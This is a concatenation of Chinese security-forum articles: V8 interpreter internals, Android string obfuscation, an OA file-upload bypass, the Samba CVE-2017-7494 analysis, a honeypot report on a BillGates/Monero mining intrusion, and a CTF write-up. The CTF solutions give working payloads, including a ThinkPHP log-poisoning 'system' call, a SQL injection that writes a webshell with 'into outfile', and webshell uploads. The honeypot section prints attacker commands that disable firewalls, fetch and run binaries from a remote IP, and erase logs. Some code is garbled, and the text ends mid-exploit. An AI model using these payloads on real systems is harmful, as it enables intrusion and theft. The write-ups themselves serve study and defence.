[2]`中，`f9`代表寄存器R2，`02`代表常量池[2]。执行`LdaNamedPropertyNoFeedback`时，Ignition通过Isolate获取dispatch_table的base
address，再通过`base address+0x29`得到`LdaNamedPropertyNoFeedback`的handler，源码如下：
// Calls the GetProperty builtin for <object> and the key in the accumulator.
IGNITION_HANDLER(LdaNamedPropertyNoFeedback, InterpreterAssembler) {
TNode<Object> object = LoadRegisterAtOperandIndex(0);
TNode<Name> name = CAST(LoadConstantPoolEntryAtOperandIndex(1));
TNode<Context> context = GetContext();
TNode<Object> result =
CallBuiltin(Builtins::kGetProperty, context, object, name);
SetAccumulator(result);
Dispatch();
}
## 3 Dispatch
`Dispatch_table`是指针数组，Bytecode的枚举值代表它在数组中的位置，该位置存储了对应的Bytecode
handler的地址。`Dispatch_table`的初始化如下：
1. void Interpreter::Initialize() {
2. Builtins* builtins = isolate_->builtins();
3. // Set the interpreter entry trampoline entry point now that builtins are
4. // initialized.
5. Handle<Code> code = BUILTIN_CODE(isolate_, InterpreterEntryTrampoline);
6. DCHECK(builtins->is_initialized());
7. DCHECK(code->is_off_heap_trampoline() ||
8. isolate_->heap()->IsImmovable(*code));
9. interpreter_entry_trampoline_instruction_start_ = code->InstructionStart();
10. // Initialize the dispatch table.
11. Code illegal = builtins->builtin(Builtins::kIllegalHandler);
12. int builtin_id = Builtins::kFirstBytecodeHandler;
13. ForEachBytecode([=, &builtin_id](Bytecode bytecode,
14. OperandScale operand_scale) {
15. Code handler = illegal;
16. if (Bytecodes::BytecodeHasHandler(bytecode, operand_scale)) {
17. #ifdef DEBUG
18. std::string builtin_name(Builtins::name(builtin_id));
19. std::string expected_name =
20. Bytecodes::ToString(bytecode, operand_scale, "") + "Handler";
21. DCHECK_EQ(expected_name, builtin_name);
22. #endif
23. handler = builtins->builtin(builtin_id++);
24. }
25. SetBytecodeHandler(bytecode, operand_scale, handler);
26. });
27. DCHECK(builtin_id == Builtins::builtin_count);
28. DCHECK(IsDispatchTableInitialized());
29. }
上述13-26行代码是匿名函数，其中25行代码初始化`Dispatch_table`，源码如下：
1. void Interpreter::SetBytecodeHandler(Bytecode bytecode,
2. OperandScale operand_scale, Code handler) {
3. DCHECK(handler.kind() == Code::BYTECODE_HANDLER);
4. size_t index = GetDispatchTableIndex(bytecode, operand_scale);
5. dispatch_table_[index] = handler.InstructionStart();
6. }
7. //.........分隔线.............................................
8. size_t Interpreter::GetDispatchTableIndex(Bytecode bytecode,
9. OperandScale operand_scale) {
10. static const size_t kEntriesPerOperandScale = 1u << kBitsPerByte;
11. size_t index = static_cast<size_t>(bytecode);
12. return index + BytecodeOperands::OperandScaleAsIndex(operand_scale) *
13. kEntriesPerOperandScale;
14. }
上述第5行代码`dispatch_table_`就是我们念念已久的存储dispatch
table的成员变量；第4行代码`GetDispatchTableIndex()`计算Bytecode
handler在dispatch_table中的位置，这个位置与`enum class
Bytecode`是相同的。图1给出了`SetBytecodeHandler`的调用堆栈。
`Interpreter`的源码如下：
1. class Interpreter {
2. //............省略..................
3. private:
4. // Get dispatch table index of bytecode.
5. static size_t GetDispatchTableIndex(Bytecode bytecode,
6. OperandScale operand_scale);
7. static const int kNumberOfWideVariants = BytecodeOperands::kOperandScaleCount;
8. static const int kDispatchTableSize = kNumberOfWideVariants * (kMaxUInt8 + 1);
9. static const int kNumberOfBytecodes = static_cast<int>(Bytecode::kLast) + 1;
10. Isolate* isolate_;
11. Address dispatch_table_[kDispatchTableSize];
12. std::unique_ptr<uintptr_t[]> bytecode_dispatch_counters_table_;
13. Address interpreter_entry_trampoline_instruction_start_;
14. DISALLOW_COPY_AND_ASSIGN(Interpreter);
15. };
上述第11行代码`dispatch_table_`是`Interpreter`的成员变量。`Interpreter`是Isolate的成员变量，源码如下：
1. class Isolate final : private HiddenFactory {
2. //省略...............
3. const AstStringConstants* ast_string_constants_ = nullptr;
4. interpreter::Interpreter* interpreter_ = nullptr;
5. compiler::PerIsolateCompilerCache* compiler_cache_ = nullptr;
6. Zone* compiler_zone_ = nullptr;
7. CompilerDispatcher* compiler_dispatcher_ = nullptr;
8. friend class heap::HeapTester;
9. friend class TestSerializer;
10. DISALLOW_COPY_AND_ASSIGN(Isolate);
11. };
通过上述代码可以看出：`Isolate->interpreter_->dispatch_table_`获取`dispatch_table_`。
下面是在Bytecode handler中调用的`Dispatch()`的源码：
1. void InterpreterAssembler::Dispatch() {
2. Comment("========= Dispatch");
3. DCHECK_IMPLIES(Bytecodes::MakesCallAlongCriticalPath(bytecode_), made_call_);
4. TNode<IntPtrT> target_offset = Advance();
5. TNode<WordT> target_bytecode = LoadBytecode(target_offset);
6. if (Bytecodes::IsStarLookahead(bytecode_, operand_scale_)) {
7. target_bytecode = StarDispatchLookahead(target_bytecode);
8. }
9. DispatchToBytecode(target_bytecode, BytecodeOffset());
10. }
11. //......分隔线....................................
12. void InterpreterAssembler::DispatchToBytecode(
13. TNode<WordT> target_bytecode, TNode<IntPtrT> new_bytecode_offset) {
14. if (FLAG_trace_ignition_dispatches) {
15. TraceBytecodeDispatch(target_bytecode);
16. }
17. TNode<RawPtrT> target_code_entry = Load<RawPtrT>(
18. DispatchTablePointer(), TimesSystemPointerSize(target_bytecode));
19. DispatchToBytecodeHandlerEntry(target_code_entry, new_bytecode_offset);
20. }
21. //...........分隔线....................................
22. void InterpreterAssembler::DispatchToBytecodeHandlerEntry(
23. TNode<RawPtrT> handler_entry, TNode<IntPtrT> bytecode_offset) {
24. // Propagate speculation poisoning.
25. TNode<RawPtrT> poisoned_handler_entry =
26. UncheckedCast<RawPtrT>(WordPoisonOnSpeculation(handler_entry));
27. TailCallBytecodeDispatch(InterpreterDispatchDescriptor{},
28. poisoned_handler_entry, GetAccumulatorUnchecked(),
29. bytecode_offset, BytecodeArrayTaggedPointer(),
30. DispatchTablePointer());
31. }
32. //...........分隔线....................................
33. void CodeAssembler::TailCallBytecodeDispatch(
34. const CallInterfaceDescriptor& descriptor, TNode<RawPtrT> target,
35. TArgs... args) {
36. DCHECK_EQ(descriptor.GetParameterCount(), sizeof...(args));
37. auto call_descriptor = Linkage::GetBytecodeDispatchCallDescriptor(
38. zone(), descriptor, descriptor.GetStackParameterCount());
39. Node* nodes[] = {target, args...};
40. CHECK_EQ(descriptor.GetParameterCount() + 1, arraysize(nodes));
41. raw_assembler()->TailCallN(call_descriptor, arraysize(nodes), nodes);
42. }
上述三个方法共同实现Bytecode的dispatch。第5行代码计算target_bytecode；第17行代码计算target_bytecode_entry；第27行代码开始跳转；第34行代码创建`call
discriptor`；第41行代码生成Node节点，并把该节点添加到当前基本块的尾部，至此跳转完成。`TailCallN()`的详细讲解参见第十一篇文章。图2给出了`Dispatch()`的调用堆栈。
**技术总结**
**（1）** Bytecode的编号是Bytecode handler在数组`dispatch_table_`中的下标；
**（2）** dispatch _table_ 的初始化在Isolate启动时完成；
**（3）**
使用固定的物理寄存器保存`dispatch_table_`的优点是：避免不必要的入栈和出栈，简化Bytecode的设计，提高了Dispatch的效率；
提示：我调试V8时，`dispatch_table_`始终保存在物理寄存器R15中，调试方法参见第18篇文章。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 【技术分享】Android 字符串及字典混淆开源实现
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
Android上对App进行混淆是常见的事情，目的就在于一定程序上保护app的逻辑不被逆向，同时还可以减少app的体积。
在开发中常用的混淆工具首先就要提ProGuard了，这是一款免费工具，默认已被Android
IDE集成，开发者只需要适当的进行配置混淆规则就可以使用proguard来混淆app，但既然是免费软件，局限性自然也比较大，首先就是不支持字符串混淆，如果要使用字符串混淆，就需要使用它的商业版本DexGuard。
既然没有免费的字符串混淆工具，那就自己先实现一个，分析了JEB(Android反编译工具)，Zelix(JAVA混淆器)，BurpSuite(网络代理工具)等几款混淆效果比较好的软件，了解了它们的实现思路后，自己写了个简单的字符串混淆工具，先上效果：
可以看到，这里的字符串已经被处理成16进制了，每次执行时，会调用decode方法对字符串进行还原，decode方法也很简单
(str) {
ByteArrayOutputStream(str.length() );
(; str.length(); )
.write((.indexOf(str.charAt()) .indexOf(str.charAt())));
[] .toByteArray();
.;
.length();
(; ; ) {
[] () ([] .charAt());
}
String();
}
原理很简单，那是如何实现的呢，这里的实现思路是在smali层进行处理，即在App编译生成apk后再进行处理，使用apktool将apk进行反编译，然后再对smali中字符串进行混淆。
既然是混淆，就需要遍历每个smali文件，这个很简单
(filePath) {
[] File(filePath).listFiles();
() {
;
}
() {
(.isDirectory()) {
(.getPath());
} {
.add(.getPath());
}
}
}
使用迭代方式将每个文件添加到list中，之后就是对遍历到的文件进行处理了，直接上代码，注释写的很清楚
(path) {
StringBuilder();
{
InputStreamReader(FileInputStream(path), );
BufferedReader();
;
((.readLine()) ) {
.().matcher();
(.find()) {
.group();
(.equals()) {
.append();
;
}
.();
.group();
.();
;
;
(.(.substring()) .startsWith()) {
;
} (.startsWith() (.startsWith() .(.substring()) )) {
;
} {
.append();
;
}
;
.append();
.append();
.append();
} {
.append();
}
}
.close();
.close();
FileOutputStream(File(path));
.write(.toString().getBytes());
.flush();
.close();
} (e) {
}
}
这里没有去考虑全局变量，有兴趣的可以一起交流下
既然要使用字符串加密，那加密方法自然不能漏：
(str) {
[] str.getBytes();
.;
.length();
(; ; ) {
[] () ([] .charAt());
}
StringBuilder(.);
(; .; ) {
.append(.charAt(([] ) ));
.append(.charAt(([] ) ));
}
.toString();
}
插入解密smali文件，这里可以自己写个Android工程，将解密方法写入，然后打包反编译成smali即可，注意插入代码的路径要和方法中对应上，最后再使用apktool打包签名即可。
使用字符串混淆，可以更大程度上保护一些敏感信息的安全性，如加密方式，JAVA中一般使用原生加密api时会在字符串中注明类型，如”AES/CBC/PKCS5Padding”，以及一些密钥硬编码，当然想还原这种字符串混淆也并不难。
说完了字符串混淆，那字典混淆又是什么，在ProGuard中默认混淆过的效果如下：
可以看到变量名，方法名以及目录名都已经以abcd等字母替换，但这种混淆只能一定程度上提高逆向难度，可以语意还是可以慢慢对变量名等进行人工恢复的，那如何大幅度提高难度呢，就需要借助字典了，在ProGuard中，允许用户使用自定义字典，并提供了三个命令
-obfuscationdictionary dic.txt
-classobfuscationdictionary dic.txt
-packageobfuscationdictionary dic.txt
那这个自定义字典的效果如何呢？如下：
正常使用中需要注意proguard-rules.pro中的配置，以免app无法运行或者运行异常。
搜索“同程安全”关注YSRC公众号，关注公众号后发送“混淆”获取文中的代码实现。 | 社区文章 |
最近公开了某OA的任意文件上传POC，想着来分析一下，下面截图代码为github找到。
上传漏洞的利用接口如下所示：
/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp
看POC注意到接口后面多了一个`.css`,根据以往的经验应该是用于权限认证绕过。抓包进行验证结果如下所示：
当接口后面跟`.css`,请求返回状态码为200，如下所示：
当接口后面不跟`.css`时，返回状态码为403，如下所示：
由此可以判断`.css`是用于权限绕过。接下来通过POC入口逆向来分析该漏洞成因。
翻阅资料知道该系统写了全局安全防护规则，当用户请求触发相应防护规则时会记录触发规则及IP等信息。查看日志发现触发了该条规则`weaver.security.rules.SecurityRuleQX20`
该规则防护源码如下所示：
当请求URL中包含字符`weaver`，`common`
,`ctrl`等字符时就会触发该条防护规则。这时就又有一个疑惑。绕过访问控制的POC`/weaver/weaver.common.Ctrl/.css`中不是同样存在这些字符嘛为啥没有触发该规则。根据经验判断可能是该系统的全局过滤器在处理URL后缀为`.css`时，进行了白名单验证放过，不进入防护规则判断。
查看`web.xml`文件中的安全防护规则`filter`入口为`weaver.filter.SecurityFilter`,匹配过滤全局路径，如下所示：
`weaver.filter.SecurityFilter`源代码中的`initFilterBean`函数用于初始化系统防火墙即加载所有防护规则:
跟入`weaver.security.filter.SecurityMain`的`initFilterBean`函数启动并导入所有规则类：
`weaver.filter.SecurityFilter`中初始化系统防火墙后之后进行`doFilterInternal`用于过滤校验前端传入数据是否满足安全要求：
请求数据及FilterChain传入`weaver.security.filter.SecurityMain`的`process`函数继续跟入，idea反编译失败wtf：
使用JD进行反编译发现如下所示代码：
Object localObject7 = str2.toLowerCase().trim();
if ((((String)localObject7).endsWith(".cur")) || (((String)localObject7).endsWith(".ico")) || (((String)localObject7).endsWith(".css")) || (((String)localObject7).endsWith(".png")) || (((String)localObject7).endsWith(".jpg")) || (((String)localObject7).endsWith(".gif")))
{
if (!localSecurityCore.null2String(localSecurityCore.getRule().get("OA-Server")).equals("")) {
localHttpServletResponse.addHeader("Server", localSecurityCore.null2String(localSecurityCore.getRule().get("OA-Server")));
}
localSecurityCore.addHeader(localHttpServletRequest, localHttpServletResponse);
paramFilterChain.doFilter(paramHttpServletRequest, paramHttpServletResponse);
`str2`为获取的请求URL，故上述代码为URL后缀为`cur、ico、css、png、jpg、gif`时即可条过该filter链校验即不用进行上述weaver.security.rules.SecurityRuleQX20的校验，之后跟进调用`paramFilterChain.doFilter`进入下一条`filter链`：
将`POC`中的绕过`.css`换成`.cur`发现同样绕过访问限制，如下所示：
`web.xml`之后的filter并未对器防护过滤故直接进入最终的`resource`处即`weaver.common.Ctrl`方法：
前台传入`arg0`，`arg1`参数，并调用`doInvoke`以`arg0`参数为类对象，`arg1`参数为相应类的方法。跟进POC中的`arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp`,获取前端数据流导入zip压缩包再进行文件解压：
**validateApp函数**
**createLocalApp函数**
**decompress函数**
由上利用链最终造成绕过权限访问造成任意文件上传。 | 社区文章 |
# app抓包的另一种姿势
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在测试某app时发现无法常规抓包，于是用端口转发解决了该问题。做一个记录帮助大佬们拓展思路。经过研究发现该app是在本地监听起了一个服务，用来处理业务逻辑，之后把数据进行加密发送到服务端。
## 抓包分析
1. 常规抓包分析
小弟先是尝试常规的抓包方案，在WiFi里面设置代理，然后burp+xp模块justTrustMe。疯狂操作之后发现根本没包过来，于是猜测是用tcp传输的。
1. 肉丝大佬的r0capture也没成功，这里不多bb
2. tcpdump抓包尝试
直接抓全部网卡流量，保存到login.pcap
./tcpdump -i any -w login.pcap
然后在app上疯狂操作，此处无图自行脑补。
把包拖回本地wireshark分析。此处直接过滤http请求
经过分析后发现http是在本地通信的，还有一些加密数据用了tcp。既然实在本地通信的，那么它本地肯定起了一个服务，我们就从这里入手。
看一下该app监听的端口
发现的确监听了一个端口,然后尝试把端口转发出来进行测试。
直接访问发现没任何反应。
猜测是不是服务端对ua有判断，接着尝试用浏览器访问发现也不行。
于是回过头来仔细分析抓到的包。
先跟着http流，能更直观的看到干了什么。
一目了然
发现请求的域名是自定义的，于是我构造一个一样的包发过去。
直接起飞！
接下来就可以愉快的测试了。
## 最后
这算是一个小小的思路，对于大佬来说骚操作肯定还有很多，可惜我是菜狗啊。如有不足之处欢迎大佬指点和纠正，小弟感激不尽。 | 社区文章 |
# 【高危预警】Samba远程代码执行漏洞(CVE-2017-7494)分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者: cyg07 && redrain
**概述**
Samba是在Linux和UNIX系统上实现SMB协议的一个软件。2017年5月24日Samba发布了4.6.4版本，中间修复了一个严重的远程代码执行漏洞，漏洞编号CVE-2017-7494，漏洞影响了Samba
3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。360网络安全中心 和 360信息安全部的Gear
Team第一时间对该漏洞进行了分析，确认属于严重漏洞，可以造成远程代码执行。
**漏洞简述**
漏洞编号：CVE-2017-7494
危害等级：严重
影响版本：Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间版本
漏洞描述：2017年5月24日Samba发布了4.6.4版本，修复了一个严重的远程代码执行漏洞，该漏洞影响了Samba 3.5.0
之后到4.6.4/4.5.10/4.4.14中间的所有版本。
**技术分析**
如官方所描述，该漏洞只需要通过一个可写入的Samba用户权限就可以提权到samba所在服务器的root权限（samba默认是root用户执行的）。
从Patch来看的话，is_known_pipename函数的pipename中存在路径符号会有问题：
再延伸下smb_probe_module函数中就会形成公告里说的加载攻击者上传的dll来任意执行代码了：
**具体攻击过程：**
构造一个有’/’ 符号的管道名或路径名，如 “/home/toor/cyg07.so”
通过smb的协议主动让服务器smb返回该FID
后续直接请求这个FID就进入上面所说的恶意流程
具体攻击结果如下：
1.尝试加载 “/home/toor/cyg07.so” 恶意so
2.其中so 代码如下(加载时会调用 samba_init_module 导出函数)
3.最后我们可以在/tmp/360sec中看到实际的执行权限(带root权限)
**PoC**
****
暂不公开 ****
**解决方案**
360网络安全响应中心和360信息安全部建议使用受影响版本的用户立即通过以下方式来进行安全更新操作，
1.使用源码安装的Samba用户，请尽快下载最新的Samba版本手动更新；
2.使用二进制分发包（RPM等方式）的用户立即进行yum，apt-get update等安全更新操作；
**缓解策略** ：用户可以通过在smb.conf的[global]节点下增加 nt pipe support = no 选项，然后重新启动samba服务，
以此达到缓解该漏洞的效果。 | 社区文章 |
# 实锤案分享 攻防骚对抗 | 黑产挖矿的路子居然这么野了？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本文由安恒安全数据大脑团队研究发布。
>
>
> 安全数据大脑是安恒信息基于10多年以来在政府、教育、金融等重要行业领域的积累，依托玄武盾、蜜罐网络、全球资产探测等能力与国内外数百家情报源，汇聚形成专业面向服务器安全的威胁情报中心，主要针对我国重要行业服务器遭受的网络攻击、最新的动态进行追踪研究，为用户提供高质量情报数据。
## 1 前言
虚拟货币自诞生以来，就与黑产有着说不清道不明的关系，从一开始充当地下交易的介质，到成为逃避追踪的勒索病毒的钱包，利益之所向，必是黑产之跟随。
随着虚拟货币在市场中的价格节节攀升，越来越多的黑产也不满足于使用虚拟货币，转而投身于挖矿的大军中去。
当然，黑产们本身并不具备生产虚拟货币的必要条件，所以他们动起了肉鸡挖矿的心思，虽然服务器质量层次不齐，但聚沙成塔，积少成多，矿池的出现更是大大方便了黑产们挖矿的脚步。
## 2 起
最近，安恒威胁情报小组在蜜罐系统中发现黑产挖矿的踪迹。黑产dalao，我一个搞网络安全的，你挖矿挖我这儿来了，是不是有点儿飘？要battle吗？
某日，黑产的自动爆破脚本费劲了千辛万苦，终于成功突破了蜜罐（程序猿小哥钓鱼中…），按照惯例，黑产dalao喜欢先查看一下机器的配置和性能。
cat /proc/cpuinfo
free –m
24核48线程的cpu和高达128G的内存，一定会让他激动不已（程序猿小哥持续钓鱼…）
先来一套关闭防火墙连招，iptabeles和SuSEfirewall通通关掉。
/etc/init.d/iptables stop
service iptables stop
SuSEfirewall2 stop
reSuSEfirewall2 stop
接下来上wget，下载文件并执行，清除历史记录（可惜被我们蜜罐记录的清清楚楚）。
chattr -i /usr/bin/wget
chmod 755 /usr/bin/wget
yum install -y wget
pkill sysxlv
rm -f /etc/sysxlv
rm -f /etc/sysxlv.1
wget -c -P /etc/ http://111.73.45.73:9789/sysxlv
chmod 755 /etc/sysxlv
nohup /etc/sysxlv > /dev/null 2>&1 &
export HISTFILE=/dev/null
rm -f /var/log/wtmp
history –c
exit
从上面我们可以猜测，之前还有一个编译的版本是sysxlv.1，所以在启动前要查找并删除这个版本。
蜜罐中捕获的文件和对应的hash值
来，让我们一起走进信息安全，看看这个黑产dalao究竟要在服务器上做了些什么
## 3 承
sysxlv看起来像是一个可执行程序，查看一下基本信息
确实是一个elf32的可执行程序，看样子也没有加壳，那就直接上反汇编利器IDA Pro。
看这架势像是江湖上大名鼎鼎的BillGates木马家族，该家族的木马，兼修windows和Linux两大平台，功能齐全，操作简单，攻击者可以选取TCP-SYN Flood、UDP Flood、CC攻击、DNS放大等多种攻击方式对目标发起攻击。
简单看看这款木马的功能和结构。
### 1.自校验和反调试
首先木马会.rodata段中解密配置信息，获取文件大小，与自身进行比较，并检查进程中是否存在gdb，以达到反调试的效果。
### 2\. CheckGatesType
该函数中，木马会对路径进行判断，通过给出的不同的返回值，木马会采取不同的启动方式。下表是不同返回值对应的不同条件。
### 3\. MainBeikong
最常见的安装方式为mainbeikong，即默认情况。该函数主要实现了一下几个功能。
首先调用daemon()去fork一个新进程，而父进程会调用exit(0)退出，这样通过 ps-a 无法发现启动进程。
接着，会检测是否存在之前安装程序，如果存在文件就将其删除，并添加自启动（setautostart）。 最后启动主进程MainProcess。
### 4\. MainProces
主进程主要进行了以下操作。
执行挂起，时间为0x7d0（2000ms），删除升级临时文件，从/etc/resolv.conf读取dns缓存信息，从conf.n读取配置信息，从cmd.n读取正在执行的情况，获取程序运行情况。
初始化CManager,挂起等待C2指令并执行。
下图为该木马的主要攻击手段。
### 5\. 数据解密
从静态分析来看，木马没有直接将返回地址写在程序中，而是通过程序解密得到的。下面用edb工具简单的进行了动态调试。
在ida中发现一段疑似加密的字符串。
通过函数名，将断点定位到该函数的起始点。
程序跑到0x08130830这个函数里，把之前的字符串导了进来。
经过解密后我们得到了返回地址。
## 4 转
从上面的分析来看，这可能是一个抓鸡的小黑产，用的也是主流的ddos木马。
但是当我们翻开蜜罐日志发现，事情远不止那么简单。
就在他放完木马运行并断开连接的三分钟后，黑产再次通过爆破的方式进入到了系统中。
/etc/init.d/iptables stop
service iptables stop
SuSEfirewall2 stop
reSuSEfirewall2 stop
chattr -i /usr/bin/wget
chmod 755 /usr/bin/wget
yum install -y wget
pkill sysxlv
rm -f /etc/sysxlv
wget -c -P /etc/ http://111.73.45.73:9789/sysxlj
wget -c -P /etc/ http://111.73.45.73:9789/config.json
chmod 755 /etc/sysxlj
nohup /etc/sysxlj > /dev/null 2>&1 &
wget -c -P /etc/ http://111.73.45.73:9789/jourxlv
chmod 755 /etc/jourxlv
nohup /etc/jourxlv > /dev/null 2>&1 &
export HISTFILE=/dev/null
rm -f /var/log/wtmp
history –c
exit
还是熟悉的套路，不同的是这一次放了三个文件，下面是文件对应的hash值。
下面我们通过分析，来推测一下，这个黑产在我们蜜罐中还想做什么。
先来看看config.json
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"av": 0,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 1,
"huge-pages": true,
"hw-aes": null,
"log-file": null,
"max-cpu-usage": 75,
"pools": [
{
"url": "mine.ppxxmr.com:3333",
"user": "471Bu7QT79ufDEqDSoKnV3V3aycs5oohTgW5ZTuamAifPBM4M91my5gX9cpp9jGDgcCAuRTtwVKD6hsDAsY7AU19HWjrsbJ",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"variant": 1
}
],
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"threads": null,
"user-agent": null,
"watch": false
}
这是一个门罗币挖矿的配置信息。
矿池为:mine.ppxxmr.com:3333
钱包地址：471Bu7QT79ufDEqDSoKnV3V3aycs5oohTgW5ZTuamAifPBM4M91my5gX9cpp9jGDgcCAuRTtwVKD6hsDAsY7AU19HWjrsbJ
通过我们的数据大脑，还能知道，这个矿池与很多恶意样本都有过通信
再来看一下jourxlv这个shell脚本。
注释中提到了sysxlj，可能和作者有一定联系。
#!/bin/bash
#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
# by:sysxlj
# 2016-03-10
首先关闭了iptables，并写入rc.loacl实现开机启动,并将sysxlj和本身备份到了/usr/bin下更改了名字。
service iptables stop > /dev/null 2>&1 &
host_dir=`pwd`
if [ "sh $host_dir/jourxlv &" = "$(cat /etc/rc.local | grep $host_dir/jourxlv | grep -v grep)" ]; then
echo ""
else
echo "sh $host_dir/jourxlv &" >> /etc/rc.local
fi
cp sysxlj /usr/bin/aher
cp jourxlv /usr/bin/keudl
下面的作用应该是做了进程守护，如果发现本脚本以及sysxlj进程被结束，就从/usr/bin下拷贝回来，并重新运行。
while [ 1 ]; do
Centos_sshd_killn=$(ps aux | grep "$host_dir/sysxlj" | grep -v grep | wc -l)
if [[ $Centos_sshd_killn -eq 0 ]]; then
if [ ! -f "$host_dir/sysxlj" ]; then
if [ -f "/usr/bin/aher" ]; then
cp /usr/bin/aher $host_dir/sysxlj
chmod 755 ./sysxlj
else
echo "No weeget"
fi
fi
./sysxlj &
elif [[ $Centos_sshd_killn -gt 1 ]]; then
for killed in $(ps aux | grep "$host_dir/sysxlj" | grep -v grep | awk '{print $2}'); do
Centos_sshd_killn=$(($Centos_sshd_killn-1))
if [[ $Centos_sshd_killn -eq 1 ]]; then
continue
else
kill -9 $killed
fi
done
else
echo ""
fi
通过前面的分析我们可以知道，gates木马自身带有完善的开机自启，进程防杀的功能，所以虽然这个名为sysxlj的程序，和gates木马sysxlv很像，但是大概率不是同一个程序，外加我们还发现了挖矿的配置脚本，我们有理由推测，sysxlj这个程序应该是用来门罗币挖矿，而且，从配置来看，会大量占用服务器的cpu（75%）。
通过搜索sysxlj，我们在网上发现了这么一条消息。
这也恰好应证了我们的猜想。
## 5 合
本来以为这是一个抓鸡放马的小黑产，没想到真正的目的是来利用我们服务器剩余资源来挖取门罗币。
下面来总结一下本次攻击的整个过程：
1. 通过ssh爆破的方式，大规模扫描网段，尝试获取服务器shell
2. 进入机器后首先关闭iptables和SuSEfirewall防火墙
3. 使用wget从其本地的服务器下载ddos木马，修改权限并运行
4. 下载挖矿程序，配置信息，进程守护脚本，在后台利用服务器资源挖矿
5. 删除日志信息
下面是有关本次入侵ip的信息。
该ip来自江西上饶，被我们情报团队以及多个开源情报标记为恶意主机。
下面是有关本次入侵文件的信息
防御的建议：
1. 杜绝ssh弱口令，并且定期更换。
2. 订购威胁情报，获取ssh爆破黑名单，一键屏蔽。
3. 日志备份，定期查看是否存在大量占用系统资源的进程。 | 社区文章 |
# 2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## web
### ezrce
打开是YAPI
，nodejs写的。翻到底下看到了版本`1.9.2`，然后就去查了对应的漏洞，有爆出过接口管理平台的RCE，找到了一篇文章`https://blog.csdn.net/Trouble_99/article/details/118667625`跟着复现就完了：
先注册一个账号，然后进去创建一个项目,在设置里面的全局mock里面写上我们的恶意payload:
然后去添加一个接口:
最后我们访问这个Mock地址就可以RCE了：
同样的我们改一下一开始的mock脚本中的代码，换成 cat /ffffffflllllaggggg ，步骤一样的，最后就能拿到flag了。
### cat flag
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
$cmd = escapeshellarg($cmd);
system('cat ' . $cmd);
}
} else {
highlight_file(__FILE__);
}
?>
这题一开始对传入的参数进行了escapeshellarg处理，造成不了拼接和多语句执行。但是可以查文件内容。
一开始去查了一下 /etc/psswd, 可以正常读。然后就没啥思路了，后来给了提示，说管理员访问过，就去查了一下日志文件的内容，发现：
所以直接去cat这个文件就好了，现在的问题就是这个正则匹配flag，怎么绕过去。一开始用数组绕，发现不行。后面去翻了翻escapeshellarg()函数文档：
会忽视非ASCII 字符，所以这个地方就可以绕过正则匹配了。
直接`?cmd=this_is_final_fla%8cg_e2a457126032b42d.php` ，然后F12拿到源代码
## easythinkphp
看到版本是V3.2.3，就试了一下一些注入之类的洞发现都没打通，然后想起来最近tp3.2.3报了一个结合日志包含的，具体参考了这篇文章：`https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ` 照着复现了一遍：
先写入我们的恶意代码到日志：
`index.php?m=--><?=system('ls /');?>`
然后包含我们的日志：`index.php?m=Home&c=Index&a=index&value[_filename]=.\Application\Runtime\Logs\Home\21_08_01.log`
注意这里的日志时间。然后查出来根目录下存在flag,按照同样的步骤，写恶意代码到日志，然后包含拿flag。
### jspxcms
搜到两篇文章
<https://www.freebuf.com/articles/others-articles/229928.html>
<https://lockcy.github.io/2019/10/18/%E5%A4%8D%E7%8E%B0jspxcms%E8%A7%A3%E5%8E%8Bgetshell%E6%BC%8F%E6%B4%9E/>
网页最下面有登录后台的链接，用户名admin，密码为空登进去之后，上传文件
先用冰蝎自带的shell.jsp，打包成war文件，然后压缩成zip压缩包
jar cf shell.war *
上传文件之后选择zip解压
用冰蝎连接，getshell
### Cybercms
这个题一打开，给了提示说是信息收集，然后扫了一下，发现有www.zip，下载后在data/config.php里面发现数据库的密码
然后找到后台，用这个密码试着登陆一下，发现可以进去。
试了后台几个文件上传的点，发现会报错，还有一个就是上传后，访问会报404，可能会有条件竞争？
于是换了一个思路，这个时候发现其实这是一个Beescms，然后去搜了一下，有一个登陆窗口写shell的洞，不过直接打不行，代码做了修改，这里看一下登陆具体的代码：
$user=fl_html(f1_vvv(fl_value($_POST['user'])));
$password=fl_html(f1_vvv(fl_value($_POST['password'])));
跟进一下这几个函数：
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
function f1_vvv($str){
if(empty($str)){return;}
if(preg_match("/\ /i", $str)){
exit('Go away,bad hacker!!');
}
preg_replace('/0x/i','',$str);
return $str;
}
过滤的很鸡肋，空格可以用`/**/`代替，然后其他的可以双写
最终的payload:
`user=admin'union/**/seselectlect/**/1,1,1,1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e/**/into/**/outoutfilefile/**/'/var/www/html/k.php'#&password=1`
然后我们的马就写到web根目录下面了，然后蚁剑连上去读flag就好了
### ez_website
根据`https://ma4ter.cn/2527.html`文章中的rce，考虑到web根目录不可写，换runtime写：
<?php
namespace think\process\pipes {
